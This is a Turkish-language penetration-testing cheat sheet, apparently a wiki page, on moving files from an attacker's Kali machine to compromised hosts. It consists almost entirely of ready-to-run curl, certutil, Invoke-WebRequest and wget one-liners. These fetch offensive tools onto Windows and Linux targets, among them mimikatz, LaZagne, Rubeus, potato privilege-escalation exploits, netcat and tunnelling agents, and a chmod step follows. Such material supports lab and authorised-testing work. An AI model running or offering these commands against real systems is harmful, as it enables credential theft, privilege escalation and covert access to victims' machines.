Dosya Transferi¶
Kaliden Hedefe Dosya Transferi¶
Windows Hedefte:¶
- curl ile
# Kali Ipsini güncelle: 192.168.1.1
curl.exe -fL --max-time 60 -o "./CX_PSHistory.ps1" "http://192.168.1.1:9696/windows/CX_PSHistory.ps1"
curl.exe -fL --max-time 60 -o "./privesccheck.ps1" "http://192.168.1.1:9696/windows/privesccheck.ps1"
curl.exe -fL --max-time 60 -o "./winpeas.exe" "http://192.168.1.1:9696/windows/winpeas-x64.exe"
curl.exe -fL --max-time 60 -o "./mimi.exe" "http://192.168.1.1:9696/windows/mimikatz-x64.exe"
curl.exe -fL --max-time 60 -o "./laz.exe" "http://192.168.1.1:9696/windows/LaZagne.exe" #.\laz.exe all
curl.exe -fL --max-time 60 -o "./powerup.ps1" "http://192.168.1.1:9696/windows/powerup.ps1"
curl.exe -fL --max-time 60 -o "./powerview.ps1" "http://192.168.1.1:9696/windows/powerview.ps1"
curl.exe -fL --max-time 60 -o "./sharphound.exe" "http://192.168.1.1:9696/windows/sharphound.exe"
curl.exe -fL --max-time 60 -o "./powercat.ps1" "http://192.168.1.1:9696/windows/powercat.ps1"
curl.exe -fL --max-time 60 -o "./rubeus.exe" "http://192.168.1.1:9696/windows/rubeus.exe"
curl.exe -fL --max-time 60 -o "./ligolo-agent.exe" "http://192.168.1.1:9696/windows/ligolo-agent.exe"
curl.exe -fL --max-time 60 -o "./ps.exe" "http://192.168.1.1:9696/windows/printspoofer-x64.exe"
curl.exe -fL --max-time 60 -o "./gp.exe" "http://192.168.1.1:9696/windows/GodPotato-NET4.exe"
curl.exe -fL --max-time 60 -o "./coep.exe" "http://192.168.1.1:9696/windows/CoercedPotato_x64.exe"
curl.exe -fL --max-time 60 -o "./nc.exe" "http://192.168.1.1:9696/windows/nc.exe"
- certutil ile
# Kali Ipsini güncelle: 192.168.1.1
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/CX_PSHistory.ps1" "./CX_PSHistory.ps1"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/privesccheck.ps1" "./privesccheck.ps1"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/winpeas-x64.exe" "./winpeas.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/mimikatz-x64.exe" "./mimi.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/LaZagne.exe" "./laz.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/powerup.ps1" "./powerup.ps1"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/powerview.ps1" "./powerview.ps1"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/sharphound.exe" "./sharphound.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/powercat.ps1" "./powercat.ps1"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/rubeus.exe" "./rubeus.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/ligolo-agent.exe" "./ligolo-agent.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/printspoofer-x64.exe" "./ps.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/GodPotato-NET4.exe" "./gp.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/CoercedPotato_x64.exe" "./coep.exe"
certutil.exe -urlcache -split -f "http://192.168.1.1:9696/windows/nc.exe" "./nc.exe"
- iwr ile
# Kali Ipsini güncelle: 192.168.1.1
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/CX_PSHistory.ps1" -OutFile "./CX_PSHistory.ps1"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/privesccheck.ps1" -OutFile "./privesccheck.ps1"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/winpeas-x64.exe" -OutFile "./winpeas.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/mimikatz-x64.exe" -OutFile "./mimi.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/LaZagne.exe" -OutFile "./laz.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/powerup.ps1" -OutFile "./powerup.ps1"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/powerview.ps1" -OutFile "./powerview.ps1"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/sharphound.exe" -OutFile "./sharphound.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/powercat.ps1" -OutFile "./powercat.ps1"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/rubeus.exe" -OutFile "./rubeus.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/ligolo-agent.exe" -OutFile "./ligolo-agent.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/printspoofer-x64.exe" -OutFile "./ps.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/GodPotato-NET4.exe" -OutFile "./gp.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/CoercedPotato_x64.exe" -OutFile "./coep.exe"
iwr -UseBasicParsing -Uri "http://192.168.1.1:9696/windows/nc.exe" -OutFile "./nc.exe"
{% hint style="info" %}
Windowstan Kaliye dosya cekmek icin HTTP UPLOAD¶
{% endhint %}
Linux Hedefte¶
- wget ile:
wget -T 60 -t 1 -O "./linpeas.sh" "http://192.168.1.1:9696/linux/linpeas.sh"
wget -T 60 -t 1 -O "./lse.sh" "http://192.168.1.1:9696/linux/linux-smart-enumeration.sh"
wget -T 60 -t 1 -O "./les.sh" "http://192.168.1.1:9696/linux/linux-exploit-suggester.sh"
wget -T 60 -t 1 -O "./socat" "http://192.168.1.1:9696/linux/socat"
wget -T 60 -t 1 -O "./pspy64" "http://192.168.1.1:9696/linux/pspy64"
wget -T 60 -t 1 -O "./busybox" "http://192.168.1.1:9696/linux/busybox"
wget -T 60 -t 1 -O "./ligolo-agent" "http://192.168.1.1:9696/linux/ligolo-agent"
wget -T 60 -t 1 -O "./chisel" "http://192.168.1.1:9696/linux/chisel"
- curl ile:
curl -fL --max-time 60 -o "./linpeas.sh" "http://192.168.1.1:9696/linux/linpeas.sh"
curl -fL --max-time 60 -o "./lse.sh" "http://192.168.1.1:9696/linux/linux-smart-enumeration.sh"
curl -fL --max-time 60 -o "./les.sh" "http://192.168.1.1:9696/linux/linux-exploit-suggester.sh"
curl -fL --max-time 60 -o "./socat" "http://192.168.1.1:9696/linux/socat"
curl -fL --max-time 60 -o "./pspy64" "http://192.168.1.1:9696/linux/pspy64"
curl -fL --max-time 60 -o "./ligolo-agent" "http://192.168.1.1:9696/linux/ligolo-agent"
curl -fL --max-time 60 -o "./chisel" "http://192.168.1.1:9696/linux/chisel"
{% hint style="info" %} indirme sonrasi:
chmod +x linpeas.sh